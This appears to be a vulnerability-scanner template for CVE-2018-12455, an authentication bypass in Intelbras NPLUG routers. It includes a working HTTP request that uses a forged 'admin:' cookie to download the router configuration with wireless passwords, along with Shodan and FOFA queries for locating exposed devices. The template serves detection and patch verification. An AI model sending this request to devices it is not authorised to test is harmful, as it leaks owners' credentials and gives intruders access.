id: CVE-2018-12455

info:
  name: Intelbras NPLUG 1.0.0.14 - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    Intelbras NPLUG 1.0.0.14 is vulnerable to authentication bypass through cookie manipulation. An attacker can bypass authentication by simply setting a cookie named "admin:".
  remediation: |
    Update the device firmware to the latest version.
  reference:
    - https://seclists.org/fulldisclosure/2018/Oct/18
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12455
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2018-12455
    cwe-id: CWE-287
    epss-score: 0.55584
    epss-percentile: 0.97940
    cpe: cpe:2.3:h:intelbras:nplug:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: intelbras
    product: nplug
    shodan-query: html:"NPLUG"
    fofa-query: title="NPLUG"
  tags: cve,cve2018,intelbras,auth-bypass,iot

http:
  - raw:
      - |
        GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.1
        Host: {{Hostname}}
        Cookie: admin:

    matchers:
      - type: dsl
        dsl:
          - "contains(content_type, 'config/conf')"
          - "contains_all(body, 'wl_', '_passwd')"
          - "status_code==200"
        condition: and
# digest: 490a00463044022062edbd0ad610cddc7e6a54b9810a2d2c2d33b5b6763fa85c496694af00aa1fde02205757bc97200336ec622f42da57e49f7385be7fb5ed315d627e9c1678be0c3cae:922c64590222798bb761d5b6d8e72950